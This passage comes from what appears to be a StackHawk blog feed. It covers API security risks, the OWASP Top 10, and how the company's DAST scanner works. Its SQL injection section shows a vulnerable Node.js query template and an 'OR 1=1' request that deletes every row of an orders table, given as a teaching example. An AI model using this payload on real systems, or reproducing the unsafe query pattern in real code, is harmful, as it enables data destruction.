proliferation of APIs has increased data exposure risks as more sensitive data is being shared via these interfaces. In many cases, API developers do not adequately secure their APIs, leading to data leaks and other security issues. &lt;/p&gt;&lt;p&gt;This type of data leak can have severe consequences for the individuals whose data has been exposed and the organization responsible for the API. &lt;/p&gt;&lt;p&gt;To avoid these risks, organizations should carefully control access to their APIs, ensure that only authorized parties can access the data, and protect sensitive files and directories. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;5. Lack of Rate Limiting&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Rate limiting is a way to control the rate at which an API processes requests. &lt;/p&gt;&lt;p&gt;Lack of rate limiting in APIs can lead to excessive requests that can overload the system and cause it to fail. This can result in a loss of data and service outages. Rate limiting is critical to &lt;a href=&quot;https://www.stackhawk.com/blog/api-security-protection-from-vulnerabilities-with-design-and-testing/&quot;&gt;&lt;u&gt;API design&lt;/u&gt;&lt;/a&gt; and should be implemented to ensure the system&amp;#39;s stability. &lt;/p&gt;&lt;p&gt;By limiting the number of incoming requests that can be made per unit of time, rate limiting can help prevent resource overuse, improve performance, and reduce the risk of denial-of-service attacks. &lt;/p&gt;&lt;p&gt;Rate limiting is a way to control the rate at which an API processes requests. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;6. Insecure Direct Object Reference&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Insecure direct object reference (IDOR) is a type of security vulnerability that occurs when an application references an object using a direct reference. A hacker/attacker can exploit this to gain access to sensitive data or perform unauthorized actions. &lt;/p&gt;&lt;p&gt;For example, a GET request is used to fetch user details such as name, card details, family member details, etc., and the API relies on the user ID, which the client sends as a parameter. If the user ID is guessable or can be brute forced, an attacker can change the user ID in the URL and fetch the sensitive details of other users. &lt;/p&gt;&lt;p&gt;To prevent this attack, it&amp;#39;s essential to never reference an object using a direct reference. Instead, applications should use indirect references that are not guessable or predictable. For example, an application might use a UUID to reference an object. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;&lt;b&gt;How Do I Check API Vulnerabilities?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;API vulnerabilities can be difficult to track down and fix. However, there are a few ways you can check for them.&lt;/p&gt;&lt;p&gt;One way is to use a web application security scanner such as the &lt;a href=&quot;https://www.stackhawk.com/solutions/dast/&quot;&gt;StackHawk DAST scanner&lt;/a&gt;. These tools can help you identify common vulnerabilities, such as SQL injection.&lt;/p&gt;&lt;p&gt;Another way to check for &lt;a href=&quot;https://www.stackhawk.com/blog/api-security-testing-overview/&quot;&gt;API vulnerabilities&lt;/a&gt; is to review your code. This can be done manually or with a static code analysis tool. Reviewing your code can help you find potential security flaws, such as incorrect input validation or the insecure storage of sensitive data.&lt;/p&gt;&lt;p&gt;Maintaining an accurate inventory of API versions is crucial to prevent security issues, particularly managing deprecated API versions. This is made even easier when using &lt;a href=&quot;https://www.stackhawk.com/solutions/api-discovery/&quot;&gt;StackHawk&amp;#39;s API Discovery&lt;/a&gt; feature to find and catalog all existing versions of your APIs.&lt;/p&gt;&lt;p&gt;Finally, you can also monitor your API for unusual activity. This can help you detect potential attacks, such as denial-of-service attacks. Monitoring your API can also help you identify unauthorized access to sensitive data.&lt;/p&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;&lt;p&gt;An API is a gateway to access information and data. A vulnerable API can lead to a breach of data and unauthorized access. An API can be susceptible for several reasons—design, coding, configuration, etc. &lt;/p&gt;&lt;p&gt;This post focused on API security vulnerabilities and the steps you can take to prevent them. We hope you enjoyed it and found it helpful. For more information on how StackHawk can help you find and fix the most common API vulnerabilities, &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;sign up for a free trial&lt;/a&gt; to get started on your own, or &lt;a href=&quot;https://www.stackhawk.com/contact/&quot;&gt;contact our team&lt;/a&gt; of API security experts for more info.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Importance of Web Application Security: Three Benefits]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/importance-of-web-application-security-three-benefits</guid><category><![CDATA[API Security]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;A lot of businesses have web applications that cater to the needs of customers, and those applications are very important to the success of those businesses. Software developers have to produce high-quality applications to meet the demands of the business’s users. The world has become more and more digital, technology is evolving quickly, and security threats are evolving just as fast. &lt;/p&gt;&lt;p&gt;In this post, you&amp;#39;ll learn the importance of web application security. We&amp;#39;ll also cover the risks and consequences of poor web application security. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;What Is Web Application Security?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Web application security is a set of processes that protect your web applications against malicious attacks. It takes a collective effort from people, processes, and technology to protect web applications. &lt;/p&gt;&lt;p&gt;By &lt;i&gt;people&lt;/i&gt;, I don&amp;#39;t just mean personnel in charge of security, because web apps pass through developers, then DevOps engineers, then &lt;a href=&quot;https://www.stackhawk.com/blog/application-security-testing-belongs-in-the-ci-pipeline/&quot;&gt;&lt;u&gt;CI/CD&lt;/u&gt;&lt;/a&gt; before moving to production, and finally, users. Every team in the development cycle needs to understand web application security so they can spot vulnerabilities in an application. &lt;/p&gt;&lt;p&gt;Most companies have a web application security policy, which is a set of rules every person involved in the development cycle must follow to produce secure applications. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;Risks of Poor Web Application Security&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Web application security isn&amp;#39;t something to be complacent about. You must consider it at every step in the development process, not just at the end, before deployment. You must make sure your technology can avert modern cyberattacks. Poor web application security will leave your application vulnerable and exposed for hackers to exploit. &lt;/p&gt;&lt;p&gt;The Open Web Application Security Project (OWASP) publishes a list of the &lt;a href=&quot;https://owasp.org/Top10/&quot;&gt;&lt;u&gt;top ten security risks&lt;/u&gt;&lt;/a&gt;, which they update yearly. Below are the top risks for the year 2021. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Broken Access Control&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://owasp.org/Top10/A01_2021-Broken_Access_Control/&quot;&gt;&lt;u&gt;Broken access control&lt;/u&gt;&lt;/a&gt; is when an attacker bypasses a system’s permissions. The access control should enforce the security policy, and if it fails to do so, an attacker can access restricted information they’re not authorized to access. They can also make modifications to, and even delete this information. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Cryptographic Failures&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Cryptography is the study of secure communications techniques, where the communication is encrypted so that only the sender and receiver of a message can view the content of the message. A &lt;a href=&quot;https://owasp.org/Top10/A02_2021-Cryptographic_Failures/&quot;&gt;&lt;u&gt;cryptographic failure&lt;/u&gt;&lt;/a&gt; occurs when an attacker gains access to sensitive data, due to a weak encryption (i.e., cryptographic) algorithm. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Injection&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;An attacker can inject malicious code into your web application, making the interpreter execute unintended commands. Applications that do not have a good filter to detect hostile data, or a way to validate data input by users, are vulnerable to &lt;a href=&quot;https://owasp.org/Top10/A03_2021-Injection/&quot;&gt;&lt;u&gt;injection&lt;/u&gt;&lt;/a&gt; attacks. A common example is &lt;a href=&quot;https://www.stackhawk.com/blog/rust-sql-injection-guide-examples-and-prevention/&quot;&gt;&lt;u&gt;SQL injection&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Insecure Design&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;When a developer focuses on design and architectural flaws, and neglects to implement security controls throughout the development process of a web application, we call this an &lt;a href=&quot;https://owasp.org/Top10/A04_2021-Insecure_Design/&quot;&gt;&lt;u&gt;insecure design&lt;/u&gt;&lt;/a&gt;. This can happen when a developer fails to understand the level of security their application requires. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Security Misconfiguration&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Attackers can gain easy access into your system when security controls are not properly configured. According to OWASP, security misconfiguration can result from a number of things, that include installing unnecessary features, enabling default passwords, error messages that contain too much information, disabling security features, servers with insecure directives, and out-of-date software. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Vulnerable and Outdated Components&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;You have to be aware of the current versions of all system components, and make timely upgrades. The developers also have to test the compatibility of any upgrade, and regularly check for vulnerabilities. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Identification and Authentication Failures&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Almost every app requires users to verify their identity in some way. If you do not implement &lt;a href=&quot;https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/&quot;&gt;&lt;u&gt;authentication&lt;/u&gt;&lt;/a&gt; in your web application, your system is vulnerable. An attacker can gain access to usernames and passwords. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Security Logging and Monitoring Failures&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;If you don&amp;#39;t actively monitor your application, you cannot identify vulnerabilities. Your application should be able to detect threats and attacks in real time. Also, &lt;a href=&quot;https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures/&quot;&gt;&lt;u&gt;security logging&lt;/u&gt;&lt;/a&gt; constitutes sensitive data, and should be hidden from users. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Server-Side Request Forgery (SSRF)&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;OWASP describes &lt;a href=&quot;https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/&quot;&gt;&lt;u&gt;SSRF&lt;/u&gt;&lt;/a&gt; as a flaw that occurs when an application fetches a remote resource without validating the URL. An attacker can force the server to send information to an unexpected destination. &lt;/p&gt;&lt;p&gt;These are the top ten risks you face when you practice poor web application security. Now that you know about the risks, let&amp;#39;s look at some of the consequences. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Consequences of Poor Web Application Security&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The most obvious consequence of poor web application security is the exposure of sensitive data. Sensitive data can include anything from passwords and usernames to bank card details, medical records, and financial records. &lt;/p&gt;&lt;p&gt;An attacker who gains access to this data can use the information to commit fraud, including identity theft. If you can&amp;#39;t protect your web application, you run the risk of suffering financial loss, and losing the confidence of the users who trust you with keeping their data safe. &lt;/p&gt;&lt;p&gt;Security issues can delay the deployment of an application, especially if you do testing late in the development cycle. Delays will put pressure on developers if there&amp;#39;s a delivery time constraint, and can tempt them to release an application with flaws that attackers can exploit. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;Benefits of Web Application Security&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;As already established, the internet plays a big part in the success of many businesses, big and small. If you can get the security of your applications right, there are several benefits. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Reduced Risk of Attacks&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;By having good web application security, you can identify areas of vulnerability and fix them before attackers have a chance to exploit them. To reduce the risks, you can hire a dedicated security team and set up a web application firewall. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Boost in Confidence&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;A benefit of good web application security is the gain in confidence of the users if you protect their data well. Having a secure system instills confidence in the business that hired you, and also in your developers. It also means your reputation remains intact. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;No Business Disruptions&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Identifying security risks early in the deployment cycle will ensure that deployment happens when it&amp;#39;s supposed to happen. Delays in identifying vulnerabilities will only lead to disruptions, which can then cascade into more severe issues. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;Final Thoughts: the Importance of Web Application Security&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Security should never be an afterthought at the end of development. Every team member that plays a part in the development of a web application must have a high level of education on web application security. Identifying vulnerabilities early enough will reduce the risk of attackers gaining access to your web application. OWASP provides a list of security risks you should guard against by following good practices. Loss of revenue, exposing sensitive information, loss of user and customer confidence, and a ruined reputation are some of the consequences of having poor web application security. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Oscar Jite-Orimiono. &lt;/i&gt;&lt;a href=&quot;https://omj.netlify.app/&quot;&gt;&lt;i&gt;&lt;u&gt;Oscar&lt;/u&gt;&lt;/i&gt;&lt;/a&gt;&lt;i&gt; has a B.Eng in mechanical engineering, but now he’s a self-taught frontend web developer and technical writer. His skills include HTML, CSS, and JavaScript(Vanilla and jQuery). He builds websites with a focus on them being user-friendly, responsive, and having pleasing aesthetics. He’s also interested in data science, Python, and SQL.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[API Security Risks: 6 to Be Aware of and How to Prevent Them]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/api-security-risks-6-to-be-aware-of-and-how-to-prevent-them</guid><category><![CDATA[API Security]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Today, the world runs on technology powered by robust data ecosystems connected via APIs. Our mobile and desktop apps, IoT-enabled smart devices, financial institutions, and more all run on the tech that&amp;#39;s powered by APIs under the hood.  &lt;/p&gt;&lt;p&gt;Humankind has witnessed that the more popular and widely accepted tech gets, the bigger of a target it becomes for security attacks. New kinds of attacks and their respective remedies appear constantly. In order to keep their applications and APIs secure, organizations need to keep up with API security best practices. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;What Are the Common API Security Risks?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;The Open Web Application Security Project, known as the &lt;a href=&quot;https://owasp.org/&quot;&gt;&lt;u&gt;OWASP Foundation&lt;/u&gt;&lt;/a&gt;, is a nonprofit foundation that works to improve the security of software. OWASP maintains a list of the top 10 API security risks to which security researchers across the globe contribute. These are said to be industry benchmarks when it comes to API security. Just by mitigating these security risks, organizations can reduce attack vectors significantly. Let&amp;#39;s walk through some of these common API security risks to ensure a more secure application architecture. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;1. Broken Object Level Authorization&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Broken Object Level Authorization, or &lt;a href=&quot;https://www.stackhawk.com/blog/nodejs-broken-object-level-authorization-guide-examples-and-prevention/&quot;&gt;&lt;u&gt;BOLA&lt;/u&gt;&lt;/a&gt;, is a lack of resource ownership validation before serving requests. This means that the server doesn&amp;#39;t validate the relationship of ownership between the client and the requested object. That may lead to anyone being able to access anything. &lt;/p&gt;&lt;p&gt;For instance, in an e-commerce application, you might have a &amp;quot;View My Orders&amp;quot; section that runs off a GET API that lists all the order IDs associated with your user ID. Then there&amp;#39;s another API that serves detailed information based on an order ID without further checking whether the requested resource belongs to the client or not. &lt;/p&gt;&lt;p&gt;This can be easily exploited by trying multiple combinations of the order IDs and &amp;quot;getting lucky,&amp;quot; by finding that the underlying table in the database is set up in a way that auto increments the order IDs while creating.  &lt;/p&gt;&lt;p&gt;Now, suppose the attacker has access to any order ID. In that case, they can go up or down that range and potentially get personally identifiable information off those incremental order IDs, such as the contact or delivery address for an order. &lt;/p&gt;&lt;p&gt;The solution is to always check if the client is authorized to access the requested resource(s) or not. There&amp;#39;s no better or simpler way to put it. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;2. Broken User Authentication&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Generally, all our application&amp;#39;s pages sit behind either a login or a public sign up page. This presents these access methods as a target that attackers can exploit. Some common authentication issues include weak password policy, sending passwords in clear text to the server, trusting that all users are humans (no CAPTCHA), and weak or no encryption. &lt;/p&gt;&lt;p&gt;Companies can mitigate login or sign up vulnerability risks by implementing brute-force-resistant mechanisms such as rate limiting, CAPTCHA, stronger password policies, account inactivity timers, etc., to ensure the users are authenticated at all times.  &lt;/p&gt;&lt;p&gt;OWASP provides a single reference point of authentication guidelines documented in their &lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html&quot;&gt;&lt;u&gt;Authentication Cheat Sheet&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;3. Excessive Data Exposure&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Excessive data exposure is, in effect, where data is picked off the database and sent to the client without any sensitivity filtering or fine access control within a RESTful API. &lt;/p&gt;&lt;p&gt;This vulnerability can be easily identified and caught by requesting to fetch data off your server and examining the API responses. These responses will always consist of data or metadata that the client isn&amp;#39;t supposed to be looking at. &lt;/p&gt;&lt;p&gt;The solution here is to get a good grasp on the application&amp;#39;s business logic. That will allow you to only send data required by the client and nothing else. This, at scale, also decreases the size of your API responses, leading to lower bandwidth costs. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;4. Lack of Resources &amp;amp; Rate Limiting&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Lack of rate limiting means that your server will keep accepting requests until it just can&amp;#39;t anymore. Not imposing a limit on how many requests can be sent to a server makes it vulnerable to Denial-of-Service (DoS) attacks. In DoS attacks, the server can be flooded with too many requests. Eventually, this could lead to the server breaking down and causing an outage, thus a loss of actual and potential revenue. &lt;/p&gt;&lt;p&gt;This vulnerability can be easily identified by hitting any server with a barrage of requests (aka load testing) and checking if it breaks down. &lt;/p&gt;&lt;p&gt;There are several ways to enforce rate limiting on a server. Here&amp;#39;s &lt;a href=&quot;https://blog.logrocket.com/rate-limiting-node-js/&quot;&gt;&lt;u&gt;a detailed blog&lt;/u&gt;&lt;/a&gt; for readers who want to dive deeper into a Node.js implementation. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;5. Broken Function Level Authorization&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Broken function level authorization is where administrative actions are available via REST APIs but lack authorization on the function level. Essentially, the system does not recognize the difference between admin users and regular users. Therefore, it&amp;#39;ll grant access to everyone and allow administrative actions to be run. &lt;/p&gt;&lt;p&gt;Attackers could quickly identify this by exploiting the API URL&amp;#39;s general REST API principles and nomenclature. Merely changing the GET user&amp;#39;s API method to PATCH or DELETE might give regular users destructive capability without authorization. &lt;/p&gt;&lt;p&gt;A straightforward solution is to block all actions as a default config. Then you open up actions to certain users or user types only when required. With administrative actions, it&amp;#39;s much better when admin users are not able to use them compared to regular users also being able to use them. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;6. SQL Injection&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Many applications build SQL queries based on user input—for example, text input for string comparison. Let&amp;#39;s look at an example of an order cancellation query. In this case, an order ID is expected to be sent by the client as a query parameter in the Delete API URL itself. Here, the following query template is expecting the order ID: &lt;/p&gt;&lt;p&gt;&lt;code&gt;const query = `DELETE FROM Orders WHERE OrderId = ${req.query.orderId};`;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;This could let attackers have direct access to your database where they can, instead of the order ID, call: &lt;/p&gt;&lt;p&gt;&lt;code&gt;DELETE /api/orders?orderId=123%20OR%201%3D1&lt;/code&gt;&lt;/p&gt;&lt;p&gt;This will ultimately build the following SQL query: &lt;/p&gt;&lt;p&gt;&lt;code&gt;DELETE FROM Orders WHERE OrderId = 123 OR 1=1;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;The SQL query generated above is valid and thus will delete &lt;i&gt;all&lt;/i&gt; rows from the &lt;b&gt;Orders&lt;/b&gt; table since &lt;b&gt;OR 1=1&lt;/b&gt; is always &lt;b&gt;True&lt;/b&gt;. &lt;/p&gt;&lt;p&gt;The solution could be strict parameter checking for the URL query. However, the rule of thumb is to never trust user input. Always sanitize user input with well-recognized input sanitization libraries. That will ensure that, if you&amp;#39;re expecting the &lt;b&gt;orderId&lt;/b&gt; in the route&amp;#39;s query params to be an integer, it&amp;#39;s nothing except that. Many libraries have been made to solve this problem. You could go with any of the popular ones actively maintained by the open-source community. &lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;The rule of thumb is to &lt;b&gt;never trust user input.&lt;/b&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;h2&gt;&lt;b&gt;API Security Risks: Conclusion&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;As ever-evolving as security risks are, best practices and industry standards can ensure the security of APIs and overall applications. Multiple of these security risks are pretty simple to exploit, yet also simple to understand and mitigate. Developing applications with a security-first mindset is highly advised, as it saves teams redundant effort. &lt;/p&gt;&lt;p&gt;Safeguarding APIs against some of these common security risks will drastically reduce attack vectors and surface area provided to attackers. Most of the discussed security risks are easy to exploit but can be protected against to keep your organization safe. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;i&gt;This post was written by Keshav Malik. &lt;/i&gt;&lt;a href=&quot;https://theinfosecguy.xyz/&quot;&gt;&lt;i&gt;&lt;u&gt;Keshav&lt;/u&gt;&lt;/i&gt;&lt;/a&gt;&lt;i&gt; is a full-time developer who loves to build and break stuff. He is constantly on the lookout for new and interesting technologies and enjoys working with a diverse set of technologies in his spare time. He loves music and plays badminton whenever the opportunity presents itself.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[How Does StackHawk Work?]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/how-does-stackhawk-work</guid><category><![CDATA[Scanning with StackHawk]]></category><dc:creator><![CDATA[Matt Tanner]]></dc:creator><content:encoded>&lt;p&gt;In a world of rapidly evolving security threats, ensuring robust security across various platforms — from single-page applications to multiple types of APIs — has become one of the biggest concerns for businesses worldwide. Developers, especially, are acutely aware of this mounting pressure. For years, developers have been told to adopt secure coding practices, reinforce server security, and vigilantly monitor for signs of compromised applications.&lt;/p&gt;&lt;p&gt;As technology advances, the focus on applying security best practices has shifted from merely relying on human vigilance to adopting more sophisticated and automated methods. These advances in security technologies have enabled developers to preempt security breaches instead of simply reacting to them. One significant advancement was the adoption of Static Application Security Testing (SAST). SAST has been instrumental in identifying potential vulnerabilities in code dependencies, enabling developers to address these issues before they reach production. However, SAST primarily scrutinizes the static aspect of the code, leaving a critical area unaddressed: runtime vulnerabilities.&lt;/p&gt;&lt;p&gt;This gap in security testing is precisely where Dynamic Application Security Testing (DAST) platforms like StackHawk excel in improving an organization&amp;#39;s security posture. DAST addresses SAST&amp;#39;s blind spots by identifying vulnerabilities that only surface when the application runs. Often overlooked in the development phase, these vulnerabilities can pose significant risks if exploited once the application hits production. In this blog, we will look at the basics of DAST and then dive deep into the inner workings of StackHawk and how it works.&lt;/p&gt;&lt;h2&gt;What is Dynamic Application Security Testing (DAST)?
&lt;/h2&gt;&lt;p&gt;Dynamic Application Security Testing, commonly known as DAST, is an automated process that tests applications in their running state to identify security vulnerabilities. Unlike Static Application Security Testing (SAST), which analyzes the status source code of an application, DAST interacts with an application in its running state, simulating the actions of a potential attacker. With DAST tools, developers can detect issues that manifest at runtime, such as injection attacks, cross-site scripting (XSS), and other vulnerabilities that can only be exploited when an application runs.&lt;/p&gt;&lt;p&gt;With traditional web applications, DAST tools explore and interact with an application through the front end without requiring access to the underlying source code. This method enables them to identify security flaws from the perspective of an unauthorized or unauthenticated user. As a result, the tests executed by a DAST tool are particularly effective in uncovering network and application-layer vulnerabilities that external attackers could exploit. The process involves sending various inputs to the application, analyzing the outputs, and monitoring the application&amp;#39;s behavior to detect potential vulnerabilities. Regarding APIs, DAST tools can look at the input and output of an endpoint to determine if a security vulnerability is present. Of course, not all DAST tools support testing all types of APIs (or APIs in general). StackHawk supports testing REST, GraphQL, SOAP, and gRPC APIs, the particulars of which we will cover later.&lt;/p&gt;&lt;p&gt;The strength of DAST lies in its ability to assess an application in its operational environment, which includes not just the application itself but also its interaction with other systems and databases. This real-world, black-box nature of testing with DAST makes it a crucial component of a comprehensive security strategy, particularly for web applications and APIs where user interaction is a constant factor. Once an application is running, implementing a DAST solution can ensure that applications are functionally sound and secure from external threats.&lt;/p&gt;&lt;h2&gt;What is StackHawk?&lt;/h2&gt;&lt;p&gt;StackHawk is a dynamic application security testing tool built to help developers find, triage, and fix security bugs in their applications. StackHawk is a modern DAST tool that focuses on enabling the “shift-left” methodology for application security aimed at moving testing into the developer&amp;#39;s hands and earlier in the SDLC. As a DAST platform, instead of scanning static code, StackHawk finds bugs that you or your team may have written into the code by testing a running version of your application. Running StackHawk can be done in a local development environment or your CI/CD pipeline, something StackHawk is explicitly built for. &lt;/p&gt;&lt;p&gt;StackHawk also allows you to dig deeper than legacy DAST tools by pushing forward advanced API and Microservice testing features. Since StackHawk scans a running version of your application, it finds the vulnerabilities available to an outside attacker. Since StackHawk only reports vulnerabilities that can be actively exploited, the platform reports fewer false positives. Less unnecessary noise keeps developers focused on tackling the vulnerabilities attackers can exploit once the application hits production servers.&lt;/p&gt;&lt;h2&gt;Why use StackHawk?&lt;/h2&gt;&lt;p&gt;Dynamic Application Security Testing (DAST) is crucial in uncovering many security vulnerabilities within applications. StackHawk, as a modern DAST tool, excels in finding critical vulnerabilities that expose themselves at runtime. Especially with its automated integration in CI/CD pipelines. This ensures that vulnerabilities are identified and resolved before they reach production.&lt;/p&gt;&lt;p&gt;StackHawk&amp;#39;s DAST capabilities extend to a broad spectrum of vulnerabilities, including but not limited to:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;SQL Injection&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Cross-Site Scripting (XSS) &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Cross-Site Request Forgery (CSRF)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;And a wide range of other vulnerabilities typically found in the OWASP Top 10 list&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Unlike traditional DAST solutions, StackHawk is designed for modern application architectures, enabling exhaustive testing across various API types such as REST, SOAP, GraphQL, and gRPC. This comprehensive approach ensures that your applications and APIs are thoroughly tested for vulnerabilities.&lt;/p&gt;&lt;h2&gt;How does StackHawk work?&lt;/h2&gt;&lt;p&gt;StackHawk contains 2 components which power the overall platform. The first is &lt;b&gt;HawkScan Scanner&lt;/b&gt;, which scans your application paths and finds vulnerabilities. This process can run anywhere in your delivery pipeline. The second component is the &lt;b&gt;StackHawkPlatform&lt;/b&gt; itself. The StackHawk Platform is where the results from the HawkScan Scanner are collected and analyzed. This is also where developers can communicate and track findings to ensure a resolution. Let’s dig a bit further into how each component works.&lt;/p&gt;&lt;h3&gt;Scan Discovery&lt;/h3&gt;&lt;p&gt;To find vulnerabilities in the running application or API, HawkScan Scanner needs to run against your code in a running application. Developers can get started by using Docker or Hawk CLI to start the process. This can be done by using docker or by using Hawk CLI to start the process. &lt;/p&gt;&lt;p&gt;&lt;b&gt;Scan Discovery&lt;/b&gt;, facilitated through HawkScan, is the first step in finding vulnerabilities. The process determines which paths and endpoints StackHawk should test by crawling your web application and API routes. To find meaningful vulnerabilities, HawkScan will try to discover parts of your site, intercepting the request &amp;amp; response HTTP payloads as it navigates your web application. This can be configured and fine-tuned under the &lt;b&gt;hawk.spider&lt;/b&gt; section of the&lt;b&gt; stackhawk.yml&lt;/b&gt; file you’ll use to &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/configuration/&quot;&gt;&lt;u&gt;configure StackHawk&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;A few different scans which can be performed by the HawkScan scanner. Let’s go over some of the more popular options below.&lt;/p&gt;&lt;h4&gt;Base Spider&lt;/h4&gt;&lt;p&gt;The base spider is a web crawler that is used to discover application routes and will be appropriate for most traditional web applications. The spider discovers the pages of your application by finding URLs through responses containing a &lt;b&gt;Content-Type&lt;/b&gt; of &amp;#39;text/html&amp;#39;. Through these URLs, the spider then does a breadth-first search on those paths until it has reached all accessible pages.&lt;/p&gt;&lt;h4&gt;Custom Scan Discovery&lt;/h4&gt;&lt;p&gt;Another way for HawkScan to discover your web application is by using other familiar tools to provide commands or generate web traffic. For example, some popular tools to use with HawkScan are Postman, Cypress, or an HTTP Proxy. While using these tools to generate traffic, HawkScan will intercept and scan the generated traffic for vulnerabilities. This feature is an excellent way for security teams to combine their favorite software testing dev tools and customize their HawkScan experience.&lt;/p&gt;&lt;h3&gt;Scan Discovery for APIs&lt;/h3&gt;&lt;p&gt;Regarding APIs, StackHawk and HawkScan can use a few different methods depending on your API technology. Of course, specific API routes and actions will also be picked up by the previously mentioned scan discovery methods. However, StackHawk offers a few different ways to ensure your APIs are tested entirely and accurately, no matter the technology you are using. Let’s take a look at the specifics below.&lt;/p&gt;&lt;h4&gt;Open API Spec&lt;/h4&gt;&lt;p&gt;Those familiar with OpenAPI/Swagger Specifications will be happy to know that they can be used within HawkScan to deliver a faster and more conclusive scan. HawkScan will use the contents of a provided OpenAPI spec to improve the quality of a scan in two ways:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Pre-seeding the sitemap using the routes defined in the OpenAPI spec. This can be used to complement any crawled routes or can be used instead of app spidering altogether.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Using defined inputs to routes in the spec to inform how to communicate with the web application and gather clues on how to better attack endpoints.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h4&gt;GraphQL Introspection endpoint&lt;/h4&gt;&lt;p&gt;HawkScan is also able to support GraphQL APIs as well. This is done through the GraphQL API’s Introspection endpoint. HawkScan is a pioneer for application security testing your GraphQL APIs.&lt;/p&gt;&lt;p&gt;This scan allows Hawkscan to perform an introspection query on a GraphQL app. This introspection query enables HawkScan to generate routes based on available operations. The scanner can be configured to enumerate all known types and input parameters for Query and Mutation together or each type separately.&lt;/p&gt;&lt;h4&gt;gRPC Schema Reflection and File Descriptor Sets&lt;/h4&gt;&lt;p&gt;For those utilizing gRPC, HawkScan offers specialized support to ensure comprehensive security testing. gRPC, which uses Protocol Buffers and HTTP/2, can seamlessly integrate with HawkScan for detailed security analysis. HawkScan can obtain the gRPC schema through reflection or a file descriptor set. Reflection is recommended since HawkScan can retrieve the schema directly from the running application. HawkScan can use a pre-generated 